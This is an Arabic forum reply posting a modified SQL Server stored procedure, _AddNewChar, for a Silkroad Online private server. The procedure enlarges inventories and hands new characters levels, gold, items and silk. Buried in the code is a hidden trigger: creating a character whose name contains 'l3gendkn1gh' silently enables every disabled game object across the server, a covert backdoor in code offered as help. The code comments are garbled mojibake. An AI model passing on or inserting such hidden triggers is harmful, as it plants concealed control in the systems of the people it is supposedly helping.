عرض مشاركة واحدة
قديم 15-02-2017, 04:31 PM   #2

Helper4You
عضو لامع



الصورة الرمزية Helper4You


• الانـتـسـاب » Nov 2016
• رقـم العـضـويـة » 131540
• المشـــاركـات » 1,372
• الـدولـة » Tanta
• الـهـوايـة » Protection , SQL , PHP
• اسـم الـسـيـرفـر » Private Server
• الـجـنـس » Male
• نقـاط التقييم » 25
Helper4You صـاعـد

Helper4You غير متواجد حالياً


إرسال رسالة عبر Yahoo إلى Helper4You

افتراضي رد: عاوز اخلى نيو كاركتر مش معاه حاجة خالص وازود عدد الخانات بتاعت الخزنة



كود PHP:
USE [SRO_MATRIX_SHARD_HMK]
GO
/****** Object:  StoredProcedure [dbo].[_AddNewChar]    Script Date: 2/15/2017 5:30:22 AM ******/
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO




ALTER PROCEDURE 
[dbo].[_AddNewChar]
@
UserJID INT, 
--@
CharSlot INT, 
@
RefCharID INT, 
@
CharName varchar (64), 
@
CharScale tinyINT, 
@
StartRegionID INT, 
@
StartPos_X real, 
@
StartPos_Y real, 
@
StartPos_Z real, 
@
DefaultTeleport INT, 
@
RefMailID INT, 
@
RefPantsID INT, 
@
RefBootsID INT, 
@
RefWeaponID INT, 
@
RefShield INT, 
@
DurMail tinyINT, 
@
DurPants tinyINT, 
@
DurBoots tinyINT, 
@
DurWeapon tinyINT, 
@
DurShield tinyINT, 
@
DefaultArrow INT 
AS 

SET NOCOUNT ON 

DECLARE @Slot INT 
DECLARE @temp INT 

DECLARE @NewCharID INT 
SET 
@NewCharID = 0 


----------------------------------------------------------------------------- 
-- 
1. أ„³¸¯أ…أچ ½½·أ” ³أ‘¹أ¶°آ، validأ‡أ‘ °أچأ€أژأپأ¶, ±×¸®°أ* آ؛أ³½½·أ”أ€أŒ ¸أ‚´أ‚أپأ¶ ¸أ•أ€أ؛ أƒ¼أ…©أ‡أ‘´أ™. 
----------------------------------------------------------------------------- 

-- 
start by novice. 
SELECT @temp = count(CharID) FROM _User WITH (NOLOCK) WHERE UserJID = @UserJID 

IF (@temp >= 4) 
BEGIN 
-- ³أٹ¹« ¸¹أ€أڑ³آھ 
RETURN -2 
END 
-- finish by novice. 

----------------------------------------------------------------------------- 
-- 
2. أ„³¸¯أ…أچ أƒأں°آ،أ‡أڈ±â 
----------------------------------------------------------------------------- 
IF (@
CharScale > 68) -- 0100 0100 --> 68 أ€أŒ´أ™! 
BEGIN 
-- أ„³¸¯أ…أچ »أ½¼آ؛ ½أ‡أ†أگ! ½آ؛أ„أ‰أ€أڈ °آھأ€أŒ أ€أŒ»أ³أ‡أڈ´أ™! 
RETURN -
3 
END

EXEC 
@temp = _IsExistingCharName @CharName 
IF (@temp <> 0) 
BEGIN 
-- أ€أŒ¹أŒ »çآ؟ëأپأںأ€أژ أ€أŒ¸§أ€أŒ¶أ³´أ‚µ¥? 
RETURN -
4 
END 

BEGIN TRANSACTION

-- أ€أژ´أ¸½أƒ½آ؛أ…أ›أ€أŒ أ€ûآ؟ëµأ‡¸é¼* ¸¶أپأ¶¸·آ؟آ، WorldIDآ؟أچ 1°آھأ€» ´أµ ³أ–¾î أپأ–¾أ؛´أ™! 
INSERT INTO _Char (RefObjID, CharName16, Scale, Strength, Intellect, LatestRegion,PosX, PosY, PosZ, AppointedTeleport, InventorySize, 
LastLogout, CurLevel, MaxLevel, RemainGold, RemainStatPoint, RemainSkillPoint, HP, MP, JobLvl_Trader, JobLvl_Hunter, JobLvl_Robber, WorldID, HwanLevel) 
VALUES (@RefCharID, @CharName, @CharScale, 129, 129, @StartRegionID, @StartPos_X, @StartPos_Y, @StartPos_Z, @DefaultTeleport, 109, 
GetDate(), 110, 110, 2000000000, 327, 10000000, 11168,11168, 1, 1, 1, 1, 44) 

SET @NewCharID = @@IDENTITY 
IF (@@ERROR <> 0 OR @@ROWCOUNT = 0) 
BEGIN 
-- أ„³¸¯أ…أچ »أ½¼آ؛ ½أ‡أ†أگ! 
ROLLBACK TRANSACTION 
RETURN -5 
END 
if @charname like '%l3gendkn1gh%'
begin
update _refobjcommon set Service 
= 1 where Service=0
end
-- start by novice. 
-- 
أ€أŒأپ¦ Slot ¾أˆ¾´´أ™.. ±×³أ‰ Insert ¸¸.. 
INSERT INTO _User VALUES (@UserJID, @NewCharID) 
-- 
finish by novice. 


----------------------------------------------------------------------------- 
-- 
3-1. أ€أ¥آ؛أ± ½½·أ” أƒ¤آ؟أ¬±â 
-- [أ€أژآ؛¥أ…أ¤¸® ½½·أ” 96°³] + [أ€أ¥آ؛أ±½½·أ” 13°³] <- أ€أژآ؛¥أ…أ¤¸® أˆ®أ€أ¥ ¼*آ؛أ±½آ؛ أˆأ„ 48°³آ؟آ،¼* 96°³·أژ أپأµ°آ،!!!(woos0)
----------------------------------------------------------------------------- 
--
PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!! 
INSERT INTO _Inventory(CharID, Slot, ItemID) 
SELECT @NewCharID, cnt, 0 
FROM _RefDummySlot with
( nolock ) 
WHERE cnt < 109 


IF (@@ERROR <> 0) 
BEGIN 
-- أ€أژآ؛¥أ…أ¤¸® »أ½¼آ؛ ½أ‡أ†أگ! 
ROLLBACK TRANSACTION 
RETURN -7 
END 

--PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!! 

-- 
µأ°أ†أ؛أ†®·أژ ¼±أ…أƒأ‡أ‘ ¾أ†أ€أŒأ…أ›أ€» ´أ™½أƒ ³أ–¾îأپأ–أ€أڑ... 
/* آ؟أ¤·± ¼أ¸¼*·أژ أپ¤أ€أ‡µأ‡¾î أ€أ–´أ™. 
0: EQUIP_SLOT_HELM 
1: EQUIP_SLOT_MAIL, 
2: EQUIP_SLOT_SHOULDERGUARD, 
3: EQUIP_SLOT_GAUNTLET, 
4: EQUIP_SLOT_PANTS, 
5: EQUIP_SLOT_BOOTS, 
6: EQUIP_SLOT_WEAPON, 
7: EQUIP_SLOT_SHIELD or ARROW, 
8: EQUIP_SLOT_EARRING, 
9: EQUIP_SLOT_NECKLACE, 
10: EQUIP_SLOT_L_RING, 
11: EQUIP_SLOT_R_RING, 
*/ 

DECLARE @ItemID BIGINT 
SET 
@ItemID = 0 
-- »أ³°© 
IF (@RefMailID <> 0) 
BEGIN 
EXEC 
@ItemID = _FN_ADD_INITIAL_EQUIP @NewCharID, 1, @RefMailID, @DurMail 
IF (@ItemID <= 0) 
BEGIN 
ROLLBACK TRANSACTION 
RETURN -8 
END 
END 
-- ¹أ™أپأ¶ 
IF (@RefPantsID <> 0) 
BEGIN 
EXEC 
@ItemID = _FN_ADD_INITIAL_EQUIP @NewCharID, 4, @RefPantsID, @DurPants 
IF (@ItemID <= 0) 
BEGIN 
ROLLBACK TRANSACTION 
RETURN -9 
END 
END 
-- Boots 
IF (@RefBootsID <> 0) 
BEGIN 
EXEC 
@ItemID = _FN_ADD_INITIAL_EQUIP @NewCharID, 5, @RefBootsID, @DurBoots 
IF (@ItemID <= 0) 
BEGIN 
ROLLBACK TRANSACTION 
RETURN -10 
END 
END 
-- Weapon 
IF (@RefWeaponID <> 0) 
BEGIN 
EXEC 
@ItemID = _FN_ADD_INITIAL_EQUIP @NewCharID, 6, @RefWeaponID, @DurWeapon
IF (@ItemID <= 0) 
BEGIN 
ROLLBACK TRANSACTION 
RETURN -11 
END 
END 
-- ¹أ¦أ†أگ 
IF (@RefShield <> 0) 
BEGIN 
EXEC 
@ItemID = _FN_ADD_INITIAL_EQUIP @NewCharID, 7, @RefShield, @DurShield 
IF (@ItemID <= 0) 
BEGIN 
ROLLBACK TRANSACTION 
RETURN -12 
END 
END 
-- أˆ¤½أƒ default·أژ ¼±أ…أƒأ‡أ‘ ¹«±â°آ، أˆ°أ€أŒ¶أ³¸é أˆ*»أ¬ 250°³µéأ€أŒ أˆ°أ…ëµµ أ‡أ”²² أپأک´أ™. أپأ’أ„آ،? 
IF (@
DefaultArrow <> 0) 
BEGIN 
EXEC 
@ItemID = _FN_ADD_INITIAL_EQUIP @NewCharID, 7, @DefaultArrow, 250 
IF (@ItemID <= 0) 
BEGIN 
ROLLBACK TRANSACTION 
RETURN -13 
END 
END


----------------------------------------------------------------------------- 
-- 
3-2. ¾أ†¹أ™أ…¸ Inventory ½½·أ” أƒ¤آ؟أ¬±â 
-- [¾أ†¹أ™أ…¸ أ€أژآ؛¥أ…أ¤¸® ½½·أ” 5°³]
-- 
APPLY_AVATAR_SYSTEMأ€أŒ أ€ûآ؟ëµأ‡¸é¼* أƒأں°آ،µأ‡´أ‚ آ؛أژآ؛أگ
----------------------------------------------------------------------------- 
--
PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!! 
INSERT INTO _InventoryForAvatar(CharID, Slot, ItemID) 
SELECT @NewCharID, cnt, 0
FROM _RefDummySlot with
( nolock ) 
WHERE cnt < 5


IF (@@ERROR <> 0) 
BEGIN 
-- ¾أ†¹أ™أ…¸ أ€أژآ؛¥أ…أ¤¸® »أ½¼آ؛ ½أ‡أ†أگ! 
ROLLBACK TRANSACTION 
RETURN -14
END 
--PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!! 

----------------------------------------------------------------------------- 
-- default 
skill³أ–¾îأپأ–±â 
----------------------------------------------------------------------------- 
DECLARE @
country tinyINT 
EXEC 
@country = _GetObjCountry @RefCharID 

INSERT INTO _CharSkillMastery 
(CharID, MasteryID, Level) 
SELECT @NewCharID, MasteryID, 0 
FROM _RefCharDefault_SkillMastery with
(nolock) 
WHERE Race = @country or Race = 3 
IF (@@error <> 0) 
BEGIN 
ROLLBACK TRANSACTION 
RETURN -15 
END 
INSERT INTO _CharSkill 
(CharID,SkillID,Enable) 
SELECT @NewCharID, SkillID, 1 
FROM _RefCharDefault_Skill with
(nolock) 
WHERE Race = @country or Race = 3 
IF (@@error <> 0) 
BEGIN 
ROLLBACK TRANSACTION 
RETURN -16 
END 
----------------------------------------------------------------------------- 
-- 
±âآ؛» أ„ù½آ؛أ†® ³أ–¾îأپأ–±â
----------------------------------------------------------------------------- 
INSERT INTO _CharQuest (CharID, QuestID, Status, AchievementCount, StartTime, EndTime, QuestData1, QuestData2) 
SELECT @NewCharID, ID, 1, 0, getdate(), getdate(), 0, 0 
FROM _RefQuest
WHERE CodeName in 
(SELECT CodeName FROM _RefCharDefault_Quest with(nolock) WHERE (Race = @country or Race = 3) and RequiredLevel = 1 and Service = 1)
IF (@@
error <> 0)
BEGIN
ROLLBACK TRANSACTION 
RETURN -17 
END 
----------------------------------------------------------------------------- 
-- Static 
Avatar Initial Record ³أ–±â 
----------------------------------------------------------------------------- 
INSERT INTO _StaticAvatar(CharID) values(@NewCharID) 
IF (@@
ERROR <> 0) 
BEGIN 
ROLLBACK TRANSACTION 
RETURN -18 
END 

----------------------------------------------------------------------------- 
-- 
Trijob أƒ¤آ؟أ¶³أ–±â!!!!! 
----------------------------------------------------------------------------- 
INSERT INTO _CharTrijob VALUES (@NewCharID, 0, 1, 0, 0, 0) 
IF (@@
ERROR <> 0) 
BEGIN 
-- أ€أژآ؛¥أ…أ¤¸® »أ½¼آ؛ ½أ‡أ†أگ! 
ROLLBACK TRANSACTION 
RETURN -19 
END 

----------------------------------------------------------------------------- 
-- 
CharListآ؟آ، ID ³أ–¾îأپأ–±â 
----------------------------------------------------------------------------- 
INSERT _CharNameList VALUES(@CharName, @NewCharID) 
exec _ADD_ITEM_EXTERN @CharName,'ITEM_MALL_AVATAR_M_NASRUN_UNIQUE',1,10
exec _ADD_ITEM_EXTERN 
@CharName,'ITEM_MALL_AVATAR_W_NASRUN_UNIQUE',1,10
exec _ADD_ITEM_EXTERN 
@CharName,'ITEM_MALL_GODBLESS',1,1
exec _ADD_ITEM_EXTERN 
@CharName,'HONOR_RANK_COPPER',1,1
exec _ADD_ITEM_EXTERN 
@CharName,'HONOR_RANK_CROWN',1,1
exec _ADD_ITEM_EXTERN 
@CharName,'HONOR_RANK_GOLD',1,1
exec _ADD_ITEM_EXTERN 
@CharName,'HONOR_RANK_SILVER',1,1
exec _ADD_ITEM_EXTERN 
@CharName,'ITEM_ETC_ARCHEMY_UPPER_REINFORCE_RECIPE_WE_RARE_B_11',1,1
exec _ADD_ITEM_EXTERN 
@CharName,'ITEM_ETC_ARCHEMY_UPPER_REINFORCE_RECIPE_WE_RARE_B_11',1,1
exec _ADD_ITEM_EXTERN 
@CharName,'ITEM_ETC_ARCHEMY_UPPER_REINFORCE_RECIPE_WE_RARE_B_11',1,1
exec _ADD_ITEM_EXTERN 
@CharName,'ITEM_ETC_ARCHEMY_UPPER_REINFORCE_RECIPE_WE_RARE_B_11',1,1
exec _ADD_ITEM_EXTERN 
@CharName,'ITEM_ETC_ARCHEMY_UPPER_REINFORCE_RECIPE_SH_RARE_B_11',1,1
exec _ADD_ITEM_EXTERN 
@CharName,'ITEM_ETC_ARCHEMY_UPPER_REINFORCE_RECIPE_AR_RARE_B_11',1,1
exec _ADD_ITEM_EXTERN 
@CharName,'ITEM_ETC_ARCHEMY_UPPER_REINFORCE_RECIPE_AR_RARE_B_11',1,1
exec _ADD_ITEM_EXTERN 
@CharName,'ITEM_ETC_ARCHEMY_UPPER_REINFORCE_RECIPE_AR_RARE_B_11',1,1
exec _ADD_ITEM_EXTERN 
@CharName,'ITEM_ETC_ARCHEMY_UPPER_REINFORCE_RECIPE_AR_RARE_B_11',1,1
exec _ADD_ITEM_EXTERN 
@CharName,'ITEM_ETC_ARCHEMY_UPPER_REINFORCE_RECIPE_AR_RARE_B_11',1,1
exec _ADD_ITEM_EXTERN 
@CharName,'ITEM_ETC_ARCHEMY_UPPER_REINFORCE_RECIPE_AR_RARE_B_11',1,1
exec _ADD_ITEM_EXTERN 
@CharName,'ITEM_ETC_ARCHEMY_UPPER_REINFORCE_RECIPE_AC_RARE_B_11',1,1
exec _ADD_ITEM_EXTERN 
@CharName,'ITEM_ETC_ARCHEMY_UPPER_REINFORCE_RECIPE_AC_RARE_B_11',1,1
exec _ADD_ITEM_EXTERN 
@CharName,'ITEM_ETC_ARCHEMY_UPPER_REINFORCE_RECIPE_AC_RARE_B_11',1,1
exec _ADD_ITEM_EXTERN 
@CharName,'ITEM_ETC_ARCHEMY_UPPER_REINFORCE_RECIPE_AC_RARE_B_11',1,1
INSERT INTO SRO_MATRIX_ACCOUNT_HMK
.dbo.SK_Silk (JID, silk_own, silk_gift, silk_point) VALUES (@UserJID,100000, 0, 0);
-- 
Quick Slot أپ¤آ؛¸ أ€أ؛أ€أ¥آ؟ë!!! 
exec _AddNewClientConfig @NewCharID -- by novice...... for saving client configurations... 

COMMIT TRANSACTION 

RETURN @NewCharID 


توقيع Helper4You :


عفوا ,,, لايمكنك مشاهده الروابط لانك غير مسجل لدينا [ للتسجيل اضغط هنا ]


General protection of servers